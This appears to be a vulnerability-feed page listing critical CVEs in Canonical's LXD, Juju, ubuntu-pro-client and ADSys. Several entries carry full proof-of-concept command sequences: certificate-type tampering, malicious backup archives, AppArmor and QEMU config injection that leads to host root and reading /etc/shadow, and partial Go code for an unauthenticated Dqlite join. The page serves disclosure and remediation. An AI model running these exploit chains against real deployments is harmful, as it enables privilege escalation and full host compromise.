Where
AND
-Infinity
0
Severity
9.9
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

A path traversal vulnerability in LXD allows an attacker to manipulate file system paths during backup import and restore operations. When importing or restoring a backup archive, LXD fails to validate instance and storage volume names contained within the archive metadata. An attacker can exploit this flaw by supplying a crafted backup archive with malicious instance or volume names containing path traversal sequences, potentially allowing file access or overwriting outside the designated restore directory.

First published (updated )
Severity
9.9
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

A link following vulnerability in LXD allows an attacker to achieve arbitrary file read and write operations on the host system. When importing or unpacking an image archive, LXD fails to validate whether the metadata.yaml file is a symbolic link. An attacker can exploit this flaw by providing a crafted image archive with a symlinked metadata.yaml file pointing to target file paths on the host system.

First published (updated )
Severity
9.9
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

A link following vulnerability in LXD allows an attacker to achieve root command execution on the host system. During the import or unpacking of crafted image or backup archives, LXD fails to properly validate and confine the backup.yaml file when it exists as a symbolic link. An attacker can exploit this flaw by providing a malicious archive with a symlinked backup.yaml file, causing LXD to process unconfined configuration metadata and execute arbitrary commands with root privileges.

First published (updated )
Severity
9.9
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

An authorization bypass vulnerability in LXD allows an authenticated attacker to bypass target project restrictions during instance migration. When migrating an instance to a target project, LXD accepts configuration overrides without validating the new configuration against the target project's enforced restrictions. An attacker can exploit this flaw to move instances with disallowed high-privilege configurations into restricted projects, bypassing security controls.

First published (updated )
Severity
9.9
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

An authorization bypass vulnerability in LXD due to a timing flaw during configuration merging allows an authenticated attacker to bypass target project restrictions during cross-project instance copies. When copying an instance to a target project, LXD performs restriction checks before configuration merging is complete, creating a time-of-check to time-of-use (TOCTOU) condition. An attacker can exploit this flaw to copy instances with disallowed high-privilege configurations into restricted projects, bypassing security controls.

First published (updated )
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Severity
9.9
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

An authorization bypass vulnerability in LXD allows an authenticated user to bypass project-level disk and volume limits. Two related code paths fail to verify resource limits during volume operations: the storagePoolVolumeTypePostMove function omits the limits.AllowVolumeCreation check before moving a volume across projects, and volume snapshot restore operations skip the AllowVolumeUpdate check when the configuration is nil (Config == nil). An attacker can exploit these flaws to allocate storage resources that exceed the administrative limits configured for a project.

First published (updated )
Severity
9.9
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

An authorization bypass vulnerability in LXD allows an authenticated attacker to bypass target project security restrictions during cross-project instance migrations. When moving an instance cross-project to a different cluster member via POST /1.0/instances/{name} with migration: true, project: <target>, and target: <member>, the destination node skips all project restriction checks because the request arrives as an internal cluster notification. An attacker can exploit this to introduce disallowed instance configurations into a restricted project.

First published (updated )
Severity
9
Input Validation
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

An input validation and injection vulnerability exists in Canonical ubuntu-pro-client (formerly ubuntu-advantage-tools). The client constructs APT source files (such as /etc/apt/sources.list.d/ubuntu-.list or their DEB822 equivalents) using data received directly from the contract server response via the directives.suites[] and directives.aptURL fields. Because the client utilizes Python's str.format() to write these files without performing escaping, validation, or newline character filtering, a malicious or tampered contract response containing embedded newline (\n) characters can successfully inject arbitrary, attacker-controlled deb configuration lines into root-owned APT sources. When combined with the unvalidated additionalPackages[] field—which is passed positionally into a root-executed apt-get install command—an attacker capable of spoofing or manipulating the contract response (e.g., via a compromised internal infrastructure, an intercepted connection utilizing a trusted CA, or local logical bugs) can force the client to fetch and install malicious packages. This ultimately leads to arbitrary code execution with root privileges on the affected system. This component is preinstalled on supported Ubuntu Server releases and auto-attaches by default on cloud provider Ubuntu Pro images.

1 / 2
Source: NVD
First published (updated )
Severity
9.6
AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Broken Access Control in the devLXDInstancePatchHandler component of Canonical LXD allows an untrusted guest to mount, read, and overwrite another guest's custom storage volume via a crafted device PATCH request over /dev/lxd when security.devlxd.management.volumes is enabled.

First published (updated )
Severity
9
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

An issue was discovered in Canonical ADSys upstream versions through v0.16.2. During Active Directory Certificate Services (AD CS) certificate auto-enrollment via the vendored Samba client script (internal/policies/certificate/python/vendorsamba/gp/gpcertautoenrollext.py), ADSys utilizes a plaintext HTTP connection (http://) instead of a secure HTTPS connection (https://) to request the CA certificate from the Active Directory Certificate Services server (GetCACert). An unauthenticated network attacker positioned between the managed Ubuntu host and the configured AD CS CA hostname can conduct a Man-in-the-Middle (MITM) attack. By intercepting the plaintext HTTP request, the attacker can supply an arbitrary, attacker-controlled Root CA certificate. Because the system automatically accepts this certificate and registers it into the local system trust store via update-ca-certificates, this results in system-wide trust store poisoning. Consequently, TLS clients utilizing the operating system trust store on the affected machine will accept rogue certificates for arbitrary domains, enabling persistent decryption and interception of subsequent TLS connections. This issue is resolved in version v0.16.3.

1 / 2
Source: NVD
First published (updated )
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Severity
10
EPSS
0.01%
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Impact

If a user has login permission to a controller and knows the controller model UUID, they can call the CloudSpec method on the Controller facade and get cloud credentials used to bootstrap the controller.

The CloudSpec API is called by workers running in the controller to maintain connection to the cloud - this aspect is not the issue. The API is also called by the CLI when killing (force destroying a controller with juju kill-controller). This is the problematic aspect. The API is exposed to any client caller where that client has nothing more than logon permission on the controller. What should happen is that getting access to the credential should be limited to those client connections where the authenticated user has superuser or model admin permission.

This affect 2.9, 3.6, 4.0.6 (snap from 4.0/edge channel).

The fix will allow non-confidential, public information like cloud endpoint etc to be read, but only controller superusers or model admins will be able to see the credential details.

Patches

No patch exists.

Workarounds

The only mitigation is to restrict ingress to the controller API port 17070 on all controller machines (for vm deployments) or the controller service (for k8s deployments). The Juju CLI and other clients like libjuju or JAAS require ingress to port 17070 so any restricted access will need to take into account those access requirements.

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Summary

A restricted TLS certificate user can escalate to cluster admin by changing their certificate type from client to server via PUT/PATCH to /1.0/certificates/{fingerprint}. The non-admin guard and reset block in doCertificateUpdate fail to validate or reset the Type field, allowing a caller-supplied value to persist to the database. The modified certificate is matched as a server certificate during TLS authentication, granting ProtocolCluster with full admin privileges.

Details

doCertificateUpdate in lxd/certificates.go handles PUT/PATCH requests to /1.0/certificates/{fingerprint} for both privileged and unprivileged callers. The access handler is allowAuthenticated, so any trusted TLS user (including restricted) can reach this code.

For unprivileged callers (restricted users who fail the EntitlementCanEdit check at line 975), two defenses are intended to prevent field tampering:

1. The guard block validates that Restricted, Name, and Projects match the original database record. Does not check Type. go // Ensure the user in not trying to change fields other than the certificate. if dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name || len(dbInfo.Projects) != len(req.Projects) { return response.Forbidden(errors.New("Only the certificate can be changed")) }

2. The reset block rebuilds the dbCert struct using original values for Restricted, Name, and Certificate. Uses reqDBType (caller-supplied) for Type instead of the original dbInfo type. go // Reset dbCert in order to prevent possible future security issues. dbCert = dbCluster.Certificate{ Certificate: dbInfo.Certificate, Fingerprint: dbInfo.Fingerprint, Restricted: dbInfo.Restricted, Name: dbInfo.Name, Type: reqDBType, }

This allows the attacker to update the Type field of their own certificate from client to server, bypassing the authorization controls and escalating to cluster admin.

PoC

Tested on lxd 6.7.

As admin, create restricted project and restricted certificate: bash Create restricted project lxc project create poc-restricted -c restricted=true lxc profile device add default root disk path=/ pool=default --project poc-restricted lxc profile device add default eth0 nic network=lxdbr0 --project poc-restricted

Add client certificate lxc config trust add --restricted --projects poc-restricted --name poc-user pass token to user

As restricted user: bash Add token lxc remote add target <token>

Confirm we can only see the poc-restricted project lxc project list target:

Confirm we can't unrestrict the project lxc project set target:poc-restricted restricted=false

Get own certificate fingerprint fp=$(lxc query target:/1.0/certificates | jq -r '.[0]')

Update the type of certificate to server lxc query -X PATCH -d '{ "type": "server" }' target:$fp or lxc query -X PUT -d '{ "type": "server", "name": "poc-user", "restricted": true, "projects": ["poc-restricted"], "certificate": "" }' target:$fp

Confirm type is 'server' lxc config trust list target:

Set project to restricted=false lxc project set target:poc-restricted restricted=false

Start privileged container (and escape to root) lxc init ubuntu:24.04 target:privileged -c security.privileged=true lxc config device add target:privileged hostfs disk source=/ path=/mnt/host lxc start target:privileged

Impact

Privilege escalation from restricted TLS certificate user (project-scoped) to cluster admin.

Cluster admin can create privileged containers (security.privileged=true) or pass raw LXC config (raw.lxc), which provides root-level access to the host, leading to full host compromise.

The attack requires a single PUT/PATCH request. The escalation is persistent and takes effect immediately after the identity cache refresh. The change in permissions is not logged.

Affects any LXD deployment using legacy restricted TLS certificates (/1.0/certificates API).

Suggested remediation

1. Add Type to the guard check at line 992:

go if dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name || dbInfo.Type != req.Type || len(dbInfo.Projects) != len(req.Projects) {

2. Use the original type in the reset block at line 1008:

go origDBType, err := certificate.FromAPIType(dbInfo.Type) if err != nil { return response.InternalError(err) }

dbCert = dbCluster.Certificate{ Certificate: dbInfo.Certificate, Fingerprint: dbInfo.Fingerprint, Restricted: dbInfo.Restricted, Name: dbInfo.Name, Type: origDBType, }

Patches

| LXD Series | Interim release | | ------------- | ------------- | | 6 | https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1 | | 5.21 | https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1 | | 5.0 | https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1 | | 4.0 | https://discourse.ubuntu.com/t/lxd-4-0-10-lts-interim-snap-release-4-0-10-e92d947/79247/1 |

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
Input Validation
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Summary

LXD instance backup import validates project restrictions against backup/index.yaml embedded in the tar archive, but creates the actual instance from backup/container/backup.yaml extracted to the storage volume. Because these are separate, independently attacker-controlled files within the same tar archive, an attacker with instance-creation rights in a restricted project can craft a backup where index.yaml contains clean configuration (passing all restriction checks) while backup.yaml contains security.privileged=true, raw.lxc host filesystem mounts, and restricted device types. The instance is created from the unchecked backup.yaml, bypassing all project restriction enforcement.

Details

LXD projects support a restricted=true mode that enforces security boundaries on what instances within the project can do. These restrictions include blocking security.privileged=true containers, raw.lxc / raw.apparmor overrides, and device passthrough (GPU, USB, PCI, unix-char). These restrictions are intended to prevent container escape vectors regardless of user privilege level within the project.

The backup import path has two distinct configuration sources within a single tar archive:

1. backup/index.yaml - A quick-access metadata file read by backup.GetInfo() at backup/backupinfo.go:68. This is the config checked against project restrictions. 2. backup/container/backup.yaml - The full instance configuration extracted to the storage volume and used for actual instance creation at apiinternal.go:784.

The vulnerability exists because:

1. AllowInstanceCreation() at instancespost.go:885 validates project restrictions using only bInfo.Config from index.yaml.

2. The tar contents (including backup/container/backup.yaml) are extracted to the storage volume at genericvfs.go:952 via unpackVolume().

3. UpdateInstanceConfig() at backupconfigutils.go:236 reads backup.yaml from storage but only syncs Name, Project, pool info, and volume UUIDs - it does not overwrite Instance.Config or Instance.Devices.

4. internalImportFromBackup() at apiinternal.go:784 reads backup.yaml from the storage mount path (not index.yaml) to build the instance database record.

5. instance.CreateInternal() at apiinternal.go:946 creates the instance using the config from backup.yaml. CreateInternal calls ValidConfig which validates config key format only, not project restriction compliance.

Proof of Concept

Environment setup (server admin)

These steps are performed by the LXD server administrator to set up the restricted project and grant access to the user. This represents the normal multi-tenant configuration that the exploit targets.

bash Create a restricted project lxc project create restricted-project \ -c features.images=false \ -c features.profiles=true \ -c restricted=true

Create a default profile with a root disk in the restricted project lxc profile device add default root disk \ path=/ pool=default --project restricted-project

Create a group with instance management permissions in the restricted project lxc auth group create poc-group lxc auth group permission add poc-group project restricted-project canview lxc auth group permission add poc-group project restricted-project cancreateinstances lxc auth group permission add poc-group project restricted-project canviewinstances lxc auth group permission add poc-group project restricted-project canoperateinstances

Create a TLS identity for the attacker, scoped to the group lxc auth identity create tls/poc-attacker --group poc-group

The attacker uses it to add the remote: lxc remote add target-lxd <token>

After this setup, the attacker can create normal unprivileged instances in restricted-project but should not be able to create privileged containers, use raw.lxc, or attach GPU/USB/unix-char devices. The exploit bypasses all of these restrictions.

Steps

1. Create an instance backup archive locally

The attacker constructs the entire backup archive locally. No access to any LXD server is needed for this step.

shell Create the backup directory structure mkdir -p backup/container

Build a minimal rootfs with an init system using debootstrap sudo debootstrap --include=systemd-sysv,curl --variant=minbase jammy backup/container/rootfs/

Create backup index.yaml cat >backup/index.yaml <<EOF version: 2 name: escalated-instance backend: dir pool: default type: container optimized: false config: instance: name: escalated-instance architecture: x8664 type: container config: {} devices: {} expandedconfig: {} expandeddevices: root: path: / pool: default type: disk profiles: - default stateful: false pools: - name: default driver: dir volumes: - name: escalated-instance type: container pool: default contenttype: filesystem config: volatile.uuid: "00000000-0000-0000-0000-000000000000" EOF

Create malicious backup/container/backup.yaml This is the file LXD actually uses to create the instance. It contains the restricted config and devices that should be blocked by the project. LXD never compares this file against index.yaml or re-validates it against project restrictions.

cat > backup/container/backup.yaml <<EOF instance: name: escalated-instance architecture: x8664 type: container config: security.privileged: "true" raw.lxc: | lxc.mount.entry = /var/snap/lxd/common/lxd/unix.socket unix.socket none bind,create=file 0 0 raw.apparmor: "" devices: {} expandedconfig: security.privileged: "true" raw.lxc: | lxc.mount.entry = /var/snap/lxd/common/lxd/unix.socket unix.socket none bind,create=file 0 0 raw.apparmor: "" expandeddevices: root: path: / pool: default type: disk profiles: - default stateful: false pools: - name: default driver: dir volumes: - name: escalated-instance type: container pool: default contenttype: filesystem config: volatile.uuid: "00000000-0000-0000-0000-000000000000" EOF

Package the archive tar -cf malicious-backup.tar backup/

2. Connect to the target LXD server and import the backup

Connect to the target LXD server and confirm restricted access:

bash Add the target server as a remote lxc remote add target-lxd <token>

Confirm the attacker's restricted access (command returns restricted=true) lxc project show target-lxd:restricted-project

Confirm the attacker can't launch a privileged container (command should fail) lxc launch ubuntu:22.04 target-lxd:testc --project restricted-project -c security.privileged=true

Import malicious backup lxc import target-lxd: malicious-backup.tar --project restricted-project

Verify the restricted config was accepted into the restricted project lxc config show target-lxd:escalated-instance --project restricted-project

Output contains: security.privileged: "true"

3. Escalate to full LXD admin

Start the container and use the LXD Unix socket, which was bind-mounted from the host via raw.lxc. Local connections over the Unix socket are trusted as full admin with unrestricted access across all projects.

bash lxc start target-lxd:escalated-instance --project restricted-project

Query the LXD API via the bind-mounted Unix socket (full admin access) lxc exec target-lxd:escalated-instance --project restricted-project -- \ curl -s --unix-socket /unix.socket http://localhost/1.0/projects

From here the attacker has full control: create admin certs, access all projects, modify any instance, or mount the host filesystem.

Impact

The exploit allows full host compromise from within a restricted project. The requirement is that the user has canviewinstances, cancreateinstances and canoperateinstances on the project -- standard permissions for any tenant expected to manage instances.

Possible remediation

Add a second AllowInstanceCreation (or checkInstanceRestrictions) call after backup.yaml is read from storage and before CreateInternal is called. In apiinternal.go, between the ParseConfigYamlFile call (line 784) and the CreateInternal call (line 946):

go // After parsing backup.yaml, re-validate project restrictions // against the config that will actually be used for instance creation err = s.DB.Cluster.Transaction(ctx, func(ctx context.Context, tx db.ClusterTx) error { req := api.InstancesPost{ InstancePut: api.InstancePut{ Config: backupConf.Instance.Config, Devices: backupConf.Instance.Devices, }, Type: api.InstanceType(backupConf.Instance.Type), }

return limits.AllowInstanceCreation(ctx, s.GlobalConfig, tx, projectName, req) }) if err != nil { return fmt.Errorf("Backup config violates project restrictions: %w", err) }

Patches

| LXD Series | Interim release | | ------------- | ------------- | | 6 | https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1 | | 5.21 | https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1 | | 5.0 | https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1 |

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
Race Condition
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Summary

The isVMLowLevelOptionForbidden function in lxd/project/limits/permissions.go is missing raw.apparmor and raw.qemu.conf from its hardcoded forbidden list. A user with canedit permission on a VM instance in a restricted project can combine these two omissions to bridge the LXD unix socket into the guest VM and gain full cluster administrator access. This bypasses the restricted.virtual-machines.lowlevel=block project restriction, which is the security control specifically designed to prevent raw config injection.

Details

Affected code

The enforcement point for VM lowlevel restrictions is isVMLowLevelOptionForbidden at lxd/project/limits/permissions.go:924-926:

go func isVMLowLevelOptionForbidden(key string) bool { return slices.Contains([]string{"boot.hostshutdowntimeout", "limits.memory.hugepages", "raw.idmap", "raw.qemu"}, key) }

This list is missing two security-critical config keys:

- raw.apparmor -- allows injecting arbitrary AppArmor rules into the QEMU process confinement profile - raw.qemu.conf -- allows injecting arbitrary sections into the QEMU configuration file

The container equivalent (isContainerLowLevelOptionForbidden at line 916) correctly includes raw.apparmor in its forbidden list.

Attack mechanism

Both raw.apparmor and raw.qemu.conf are valid VM config keys (defined in lxd/instance/instancetype/instance.go). When a restricted user sets them on a VM in a project with restricted.virtual-machines.lowlevel=block, the entity config checker at line 779 calls isVMLowLevelOptionForbidden for each key, which returns false for both. The config is accepted without error.

On VM startup:

1. instanceProfile (lxd/apparmor/instance.go:150) reads raw.apparmor from the expanded config and injects it verbatim into the QEMU AppArmor profile template (lxd/apparmor/instanceqemu.go:114-118). An attacker-supplied rule like /var/snap/lxd/common/lxd/unix.socket rw, grants the QEMU process read-write access to the LXD unix socket.

2. qemuRawCfgOverride (lxd/instance/drivers/driverqemuconfigoverride.go:242) reads raw.qemu.conf and appends new sections to the generated QEMU config. The attacker adds a [chardev] section with backend = "socket" pointing at the LXD unix socket, and a [device] section creating a virtserialport connected to it.

3. QEMU starts with -readconfig containing the injected drive definition. The QEMU process connects to /var/snap/lxd/common/lxd/unix.socket (permitted by the injected AppArmor rule) and exposes the connection as /dev/virtio-ports/lxd.exploit inside the VM.

The exposed socket grants full administrative access to the entire LXD cluster, which can be used to create privileged containers, mount the host root filesystem, and escape to host root.

Affected deployments

Any LXD deployment where:

- A project has restricted=true and restricted.virtual-machines.lowlevel=block (the default when restricted=true) - A user has canedit on a VM instance in that project (also implied by project-level operator, caneditinstances, or instancemanager entitlements)

The minimum required entitlements are cancreateinstances (to create a VM), canedit on the instance (to set config keys -- lxc config set), canupdatestate (to start the VM), and canexec (to read the block device from inside the VM). Any of the broader project-level roles (operator, instancemanager) include all of these.

This includes the lxd-user multi-user daemon (shipped in the LXD snap), which auto-creates restricted projects for system users, and any multi-tenant, lab, CI/CD, or hosting deployment using restricted projects. These users are explicitly untrusted -- the restriction model exists to safely confine them. The LXD documentation states that restricted projects "prevent users from gaining root access" (doc/howto/projectsconfine.md).

Version

Tested and confirmed on LXD 6.7.

PoC

The exploit requires two roles: an admin who sets up the restricted environment (once), and a restricted user who exploits it.

Admin setup (run on the LXD host)

bash Create restricted project restricted.virtual-machines.lowlevel defaults to "block" when restricted=true lxc project create poc-restricted \ -c features.profiles=true \ -c features.images=false \ -c restricted=true

Create default profile with storage and network lxc profile create default --project poc-restricted lxc profile device add default root disk path=/ pool=default --project poc-restricted lxc profile device add default eth0 nic network=lxdbr0 --project poc-restricted

Create auth group with minimum entitlements needed for the exploit: canview - required to reference the project in other permissions cancreateinstances - create the VM caneditinstances - set config keys (implies canedit on all instances) canoperateinstances - start the VM and exec into it (implies canupdatestate + canexec) These are baseline permissions for any user who manages VMs in a project. None of these grant permission to edit the project configuration itself. lxc auth group create vm-operators lxc auth group permission add vm-operators project poc-restricted canview lxc auth group permission add vm-operators project poc-restricted cancreateinstances lxc auth group permission add vm-operators project poc-restricted caneditinstances lxc auth group permission add vm-operators project poc-restricted canoperateinstances

Create restricted user identity lxc auth identity create tls/alice --group vm-operators Give the output token to alice

Exploit (run as the restricted user "alice", from her own machine)

bash Alice adds the remote using the token from admin setup lxc remote add target <token>

REMOTE="target" PROJECT="poc-restricted" VM="poc-069" SOCKET="/var/snap/lxd/common/lxd/unix.socket"

Create a stopped VM lxc init ubuntu:22.04 ${REMOTE}:${VM} --vm --project ${PROJECT}

Inject AppArmor rule granting QEMU read-write access to the LXD unix socket. raw.apparmor is NOT in isVMLowLevelOptionForbidden -- bypasses restriction. lxc config set ${REMOTE}:${VM} raw.apparmor \ " ${SOCKET} rw," --project ${PROJECT}

Inject QEMU config: chardev connecting to unix socket, exposed as virtio-serial port. raw.qemu.conf is also NOT in isVMLowLevelOptionForbidden. lxc config set ${REMOTE}:${VM} raw.qemu.conf '[chardev "lxdsock"] backend = "socket" path = "/var/snap/lxd/common/lxd/unix.socket"

[device "lxdchan"] driver = "virtserialport" chardev = "lxdsock" bus = "dev-qemuserial.0" name = "lxd.exploit"' --project ${PROJECT}

Start VM -- QEMU connects to the unix socket at startup. lxc start ${REMOTE}:${VM} --project ${PROJECT} sleep 30

Elevate privileges to admin (add the "admin" entitlement to alice's group) lxc exec ${REMOTE}:${VM} --project ${PROJECT} -- bash -c ' apt install -y socat curl socat UNIX-LISTEN:/tmp/lxd.sock GOPEN:/dev/virtio-ports/lxd.exploit & sleep 1 curl --unix-socket /tmp/lxd.sock http://localhost/1.0/auth/groups/vm-operators \ -X PUT -H "Content-Type: application/json" \ -d "{\"description\":\"\",\"permissions\":[{\"entitytype\":\"server\",\"url\":\"/1.0\",\"entitlement\":\"admin\"}]}" '

Create privileged container and mount root filesystem lxc init ubuntu:22.04 ${REMOTE}:pwn-root --project default lxc config set ${REMOTE}:pwn-root security.privileged=true --project default lxc config device add ${REMOTE}:pwn-root hostroot disk \ source=/ path=/mnt/host --project default lxc start ${REMOTE}:pwn-root --project default

Full host root access lxc exec ${REMOTE}:pwn-root --project default -- cat /mnt/host/etc/shadow

Impact

Privilege escalation from restricted project user to host root.

The full attack chain is: restricted VM user --> raw.apparmor + raw.qemu.conf injection (bypasses restricted.virtual-machines.lowlevel=block) --> QEMU chardev bridges LXD unix socket into VM as virtio-serial device --> single HTTP request through chardev adds admin entitlement to attacker's own group --> attacker's existing CLI session is now full admin --> create privileged container with host root mount --> host root.

This affects any deployment using LXD's restricted project model for multi-tenant isolation. The attacker requires only canedit on a VM instance -- the baseline permission needed to manage VM configuration, which restricted projects are explicitly designed to safely grant to untrusted users such as students in shared labs, tenants in hosting environments, or CI/CD agents.

The exploit is trivial, requires no misconfiguration, works against correctly configured restricted projects with default settings, and has no race conditions or reliability concerns.

Remediation

Add raw.apparmor and raw.qemu.conf to the forbidden list in isVMLowLevelOptionForbidden:

go func isVMLowLevelOptionForbidden(key string) bool { return slices.Contains([]string{ "boot.hostshutdowntimeout", "limits.memory.hugepages", "raw.apparmor", "raw.idmap", "raw.qemu", "raw.qemu.conf", }, key) }

Patches

| LXD Series | Interim release | | ------------- | ------------- | | 6 | https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1 | | 5.21 | https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1 | | 5.0 | https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1 | | 4.0 | https://discourse.ubuntu.com/t/lxd-4-0-10-lts-interim-snap-release-4-0-10-e92d947/79247/1 |

1 / 2
Source: GitHub
First published (updated )
Severity
10
EPSS
0.07%
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Impact Any Juju controller since 3.2.0.

An attacker with only route-ability to the target juju controller Dqlite cluster endpoint may join the Dqlite cluster, read and modify all information, including escalating privileges, open firewall ports etc.

This is due to not checking the client certificate, additionally, the client does not check the server's certificate (MITM attack possible), so anything goes.

https://github.com/juju/juju/blob/001318f51ac456602aef20b123684f1eeeae9a77/internal/database/node.go#L312-L324

PoC Using the tool referenced below.

Bootstrap a controller and show the users: $ juju bootstrap lxd a Creating Juju controller "a" on lxd/localhost Looking for packaged Juju agent version 4.0.4 for amd64 <...> Launching controller instance(s) on localhost/localhost... - juju-fefd2b-0 (arch=amd64) Installing Juju agent on bootstrap instance Waiting for address Attempting to connect to 10.151.236.15:22 <...> Contacting Juju controller at 10.151.236.15 to verify accessibility...

Bootstrap complete, controller "a" is now available Controller machines are in the "controller" model

Now it's possible to run juju add-model <model-name> to create a new model to deploy workloads. $ juju users Controller: a

Name Display name Access Date created Last connection admin admin superuser 1 minute ago just now juju-metrics Juju Metrics login 1 minute ago never connected everyone@external

Join the cluster with the first cluster member: $ dqlite-demo --db 192.168.1.25:9999 --join 10.151.236.15:17666 dqlite interactive shell. Enter SQL statements terminated with a semicolon. Meta-commands: .switch <database> .close .exit

Connected to database "demo". demo>

Join the cluster with another cluster member and give the admin a new name: dqlite-demo --db 192.168.1.25:9998 --join 10.151.236.15:17666 dqlite interactive shell. Enter SQL statements terminated with a semicolon. Meta-commands: .switch <database> .close .exit

Connected to database "demo". demo> .switch controller Connected to database "controller". controller> select from user; uuid | name | displayname | external | removed | createdbyuuid | createdat -------------------------------------+-------------------+--------------+----------+---------+--------------------------------------+---------------------------------------- 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | admin | admin | false | false | 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | 2026-03-17 06:38:25.816694339 +0000 UTC 4e1d65ae-564e-4c0e-8ef6-da8b7fb69b53 | juju-metrics | Juju Metrics | false | false | 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | 2026-03-17 06:38:26.76549689 +0000 UTC 384c57af-57b1-40be-8e6e-7360371895d3 | everyone@external | | true | false | 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | 2026-03-17 06:38:26.770215095 +0000 UTC (3 row(s)) controller> update user set displayname='Silly Admin' where name='admin'; OK (1 row(s) affected) controller>

The admin won't like this new name: $ juju users Controller: a

Name Display name Access Date created Last connection admin Silly Admin superuser 6 minutes ago just now juju-metrics Juju Metrics login 6 minutes ago never connected everyone@external

Patches Juju versions 3.6.20 and 4.0.5 are patched to fix this issue.

Workarounds Either: a. Configure restrictive firewall rules and use a trusted network fabric for Juju controllers in HA. Port 17666 must only be connected to by other controller IP addresses. b. Disable HA by reducing to one Juju controller, block incoming connections to port 17666 and outgoing connections to any port 17666.

Resources https://github.com/juju/juju/blob/001318f51ac456602aef20b123684f1eeeae9a77/internal/database/node.go#L312-L324

PoC Tool

Based on the go-dqlite demo app.

go package main

import ( "context" "crypto/ecdsa" "crypto/elliptic" "crypto/rand" "crypto/tls" "crypto/x509" "crypto/x509/pkix" "database/sql" "encoding/pem" "fmt" "log" "math/big" "net" "os" "os/signal" "path/filepath" "strings" "time"

"github.com/canonical/go-dqlite/v3/app" "github.com/canonical/go-dqlite/v3/client" "github.com/peterh/liner" "github.com/pkg/errors" "github.com/spf13/cobra" "golang.org/x/sys/unix" )

func generateSelfSignedCert() (tls.Certificate, error) { key, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) if err != nil { return tls.Certificate{}, fmt.Errorf("generate key: %w", err) }

tmpl := &x509.Certificate{ SerialNumber: big.NewInt(1), Subject: pkix.Name{CommonName: "lol"}, NotBefore: time.Now(), NotAfter: time.Now().Add(365 24 time.Hour), KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, IPAddresses: []net.IP{net.ParseIP("127.0.0.1")}, DNSNames: []string{"lol"}, }

certDER, err := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &key.PublicKey, key) if err != nil { return tls.Certificate{}, fmt.Errorf("create cert: %w", err) }

keyDER, err := x509.MarshalECPrivateKey(key) if err != nil { return tls.Certificate{}, fmt.Errorf("marshal key: %w", err) }

certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER}) keyPEM := pem.EncodeToMemory(&pem.Block{Type: "EC PRIVATE KEY", Bytes: keyDER})

return tls.X509KeyPair(certPEM, keyPEM) }

// runREPL runs an interactive SQL REPL against the given dqlite app. // It supports multi-line statements (terminated by ';') and the meta-commands // .switch <database>, .close, and .exit. func runREPL(ctx context.Context, dqliteApp app.App, initialDBName string, line liner.State) error { var currentDB sql.DB var currentDBName string

openDB := func(name string) error { if currentDB != nil { if err := currentDB.Close(); err != nil { fmt.Fprintf(os.Stderr, "Warning: closing previous database: %v\n", err) } currentDB = nil currentDBName = "" } db, err := dqliteApp.Open(ctx, name) if err != nil { return fmt.Errorf("open database %q: %w", name, err) } currentDB = db currentDBName = name fmt.Printf("Connected to database %q.\n", name) return nil }

defer func() { if currentDB != nil { currentDB.Close() } }()

fmt.Println("dqlite interactive shell.") fmt.Println("Enter SQL statements terminated with a semicolon.") fmt.Println("Meta-commands: .switch <database> .close .exit") fmt.Println()

if initialDBName != "" { if err := openDB(initialDBName); err != nil { return err } } else { fmt.Println("No database selected. Use .switch <database> to open one.") }

prompt := func(multiline bool) string { if multiline { return " ...> " } if currentDBName != "" { return currentDBName + "> " } return "(no db)> " }

var buf strings.Builder

